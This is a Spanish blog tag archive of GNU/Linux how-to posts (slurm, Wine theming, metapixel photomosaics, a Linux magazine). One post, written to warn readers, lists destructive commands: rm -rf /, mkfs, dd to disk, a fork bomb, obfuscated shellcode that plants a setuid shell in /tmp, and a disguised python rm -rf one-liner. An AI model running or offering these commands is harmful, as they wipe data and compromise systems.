Tag Archive for 'GNU/Linux'

slurm – Monitorizando tu interfaz de red

slurm - Monitorizando la red

slurm, un sencillo programa de consola que nació como un port de pppstatus para FreeBSD, nos muestra datos de nuestra interfaz de red en tiempo real junto con una simpática gráfica en ASCII.

Para instalarlo en Ubuntu, nada más fácil que ejecutar el típico

sudo aptitude install slurm

Y listo. Para monitorizar, por ejemplo, mi interfaz de red eth0, ejecuto el siguiente comando:

slurm -i eth0

Sin duda un programa útil y ligero para su uso en servidores.

Fuente: Ubuntu Geek

Mejorando la apariencia de Wine

Cuando tenemos que resignarnos a usar algún programa de Windows nos damos cuenta del horrible aspecto de Wine en comparación con nuestro tema de escritorio.

Wine tema por defecto
Recuerda a los malos años con el Windows 95

Vamos a mostrar una solución para cambiar el esquema de colores de Wine. En la versión 8.04 de Ubuntu es posible que estos cambios se incluyan por defecto, si no puedes esperar más o usas otra distribución, adelante.

En este ejemplo adaptaremos Wine al tema por defecto de Ubuntu, Human.

Wine esquema Human
Wine con el esquema de color del tema Human de Ubuntu

Tenemos que modificar el registro situado en ~/.wine/user.reg, la ~ (Alt Gr + ñ) equivale a nuestra home en GNU/Linux, así que lo abrimos:

gedit ~/.wine/user.reg

Y pegamos el contenido de este fichero sobre el campo [Control Panel\\Colors], que debería estar vacio.

¡Ya está!, todavía se podría mejorar más usando un tema para Wine, pero funcionan realmente mal ahora mismo, fijaos que bien queda.

Wine con tema ClearLooks
Wine con tema ClearLooks

Si aun así queréis probarlo seguid estos pasos:

  • Descargamos el tema ClearLooks para Windows XP.
  • Lo descomprimimos y ejecutamos winecfg.
  • Ahora nos vamos a la pestaña Integración de escritorio y hacemos click en Instalar tema.
  • Seleccionamos el fichero ClearLooks.msstyles y seleccionamos ClearLooks en la opción Tema.

Bonito, pero inútil debido a su extrema lentitud.

Si tras este cambio no puedes quitar el tema de lo lento que va winecfg, borra el fichero ~/.wine/user.reg para volver al tema por defecto.

Esperemos que el equipo de desarrollo de Wine siga trabajando para mejorarlo y, sobretodo, ojalá no tuviéramos necesidad de esta fantástica aplicación…

Visto en
: Digg
Fuente: Tombuntu

Fotomosaicos en Linux con Metapixel

Un fotomosaico viene a ser una imagen hecha a base de otras imágenes más pequeñas, lo que les da un aspecto bastante “cool” al no apreciarse el efecto de lejos.

Ahora podemos crearlas en GNU/Linux con un par de mandatos y una buena colección de imágenes con las que dibujarla quedando algo así:

Fotomosaico Meneame
Con más imágenes quedaría mejor

He usado avatares de usuarios de menéame descargados usando wget (con el httrack me hacía un lío, si alguien es tan amable de iluminarme…), eso sí, no muchos y esperando entre solicitudes, que tampoco era mi intención tirar el server :twisted:

El programa usado para crear estas imágenes es metapixel, disponible en el repositorio universe de Ubuntu (desconozco si existe como paquete en otras distribuciones), al alcance de un simple:

sudo aptitude install metapixel

El mandato para, primero, preparar nuestra librería de imágenes es el siguiente:

metapixel-prepare -r origen destino --width=20 --height=20

Esto copiará (recursivamente) todas las imágenes del directorio “origen” en “destino” después de reescalarlas a 20×20 píxels. Este tamaño adaptarlo a vuestro gusto tratando de que sea divisor del tamaño final de la imagen que se establecerá en el siguiente paso.

Este proceso puede llevar su tiempo si se aplica sobre muchas imágenes, pero sólo se realizará una vez, así que tranquilos. Cabe destacar que genera también un índice para las imágenes reescaladas, así que mejor no borrarlas o tratar de añadir más “a mano” porque después se pueden generar errores.

Lo siguiente es ya generar el fotomosaico en sí ejecutando esto:

metapixel --metapixel entrada.jpg salida.png --library destino --scale=30 --distance=20

Que creará, a partir de “entrada.jpg”, un fotomosaico con las imágenes de la librería “destino”, creada en el paso anterior, sin repetir éstas en menos de un radio de 20 pixels y con un tamaño 30 veces superior al de la imagen original (cuanto más grande menos se notará el efecto con poco zoom).

Si te da igual que las imágenes de la librería se repitan puedes eliminar la opción “distance”, la CPU y tu paciencia te lo agradecerán infinitamente :) .

Que el poder de GNU/Linux os proteja.

Fotomosaico GNU/Linux

Fuente: fsckin

Comandos maliciosos en Linux

El otro día postearon un anuncio en el foro de Ubuntu advirtiendo de que algunos usuarios estaban incluyendo comandos maliciosos en sus posts, como es un tema que me parece cuanto menos curioso voy a tratar de recopilar algunos de ellos junto con sus (potencialmente peligrosos) efectos:

¡Cuidado! Estos comandos podrían dejar tu sistema inservible, borrar tu disco duro o asustar a tu abuelita, así que será mejor que no los uses.

rm -rf /
rm -rf .
rm -rf *

rm (borrar), -r (recursivo), f (forzar, sin confirmación). Todo un clásico, borrar todo, el directorio actual o todos los ficheros visibles del directorio actual, si ejecutas el primero como root, ¿hasta dónde llegará antes de petar?, creo que me quedaré con la duda…

mkfs
mkfs.ext3
mkfs.lo_que_sea

mkfs (crea un sistema de ficheros). Reformatea lo que viene después del comando creando en su lugar un sistema de ficheros nuevo y limpio.

cualquier_comando > /dev/sda
dd if=algo of=/dev/sda

Esto escribe información en un dispositivo directamente ignorando el sistema de ficheros, que probablemente acabará corrompiéndose.

:( ){:|:&};:

Una bomba fork que satura la tabla de procesos del sistema, fácilmente evitable.

Ficheros comprimidos que cuando se descomprimen te inundan el sistema de archivos, te dejan sin espacio en el disco, o te sobreescriben ficheros.

Scripts o programas creados por gente malvada, hay que leer el código fuente de cualquier cosa descargada de una fuente no fiable o cruzar los dedos y encomendarse a Dios mientras se ejecuta (la efectividad de este método no está probada). Como ejemplo, el mensaje en una lista de correo que ofrecía un programilla en C para aprovecharse de un exploit del comando sudo, veamos la parte interesante del mismo:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esto trozo de código hexadecimal ejecuta un bonito rm -rf ~ / &, borraremos nuestro home y si somos root todo el disco, bonito atrapa script kiddies :twisted:

Hay que tener cuidado en especial al tocar otros comandos como chmod, chown y chgrp que alteran los permisos, propietario y grupo de los ficheros ya que podríamos conceder acceso a cualquiera o dejar el sistema hecho un desastre si se aplican de forma recursiva sin control.

También recordar que todos estos comandos se pueden ejecutar mediante scripts en lenguajes como python, por ejemplo este código:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Ejecuta un rm -rf * oculto tras el “sn!.sg!+”.

Consejos para evitar cargarnos nuestro propio sistema:

  • Aprender los comandos básicos de Linux, si vamos a ejecutar algo mirar qué hace con man.
  • Sólo ejecutar código proporcionado en sitios fiables y aun así mirar qué hace, así aprenderemos, que nunca está de más.
  • Tener un poco de sentido común, si vemos a alguien diciendo “¡Ej3cu74 3st0 y t3ndr4s 4cc3so0 i1im174d0 al ord3n4d0r d3 14 NASA!” no te enfundes tu sombrero de juanker y empieces a copy/pastear.

Eso es todo, Linux es un sistema bastante seguro pero su consola tiene un gran poder, y como ya decía Spiderman, esto debe conllevar una gran responsabilidad por parte del usuario.

Fuente: Ubuntu Forums

Tuxinfo – Revista sobre Linux

Estos días se ha publicado el primer número de Tuxinfo, una nueva revista argentina sobre Linux y software libre en formato PDF que podéis descargar íntegramente.

Ojeando la revista me encuentro con algunos artículos bastante interesantes como una breve introducción a AWK, un lenguaje de programación usado para el procesamiento de textos, la primera parte de un curso de C, lenguaje de obligatorio aprendizaje para cualquiera interesado en Linux y un análisis de Geany, un entorno de desarrollo ligero que me parece una muy buena alternativa a Eclipse para desarrollar en PHP.

Geany
Geany probablemente sustituya a Gedit como mi entorno de desarrollo en PHP

En resumen, una iniciativa muy interesante que esperamos que tenga una buena acogida y goce de continuidad por parte del equipo de desarrollo.

Fuente: Barrapunto
Sitio oficial: Tuxinfo
Descargar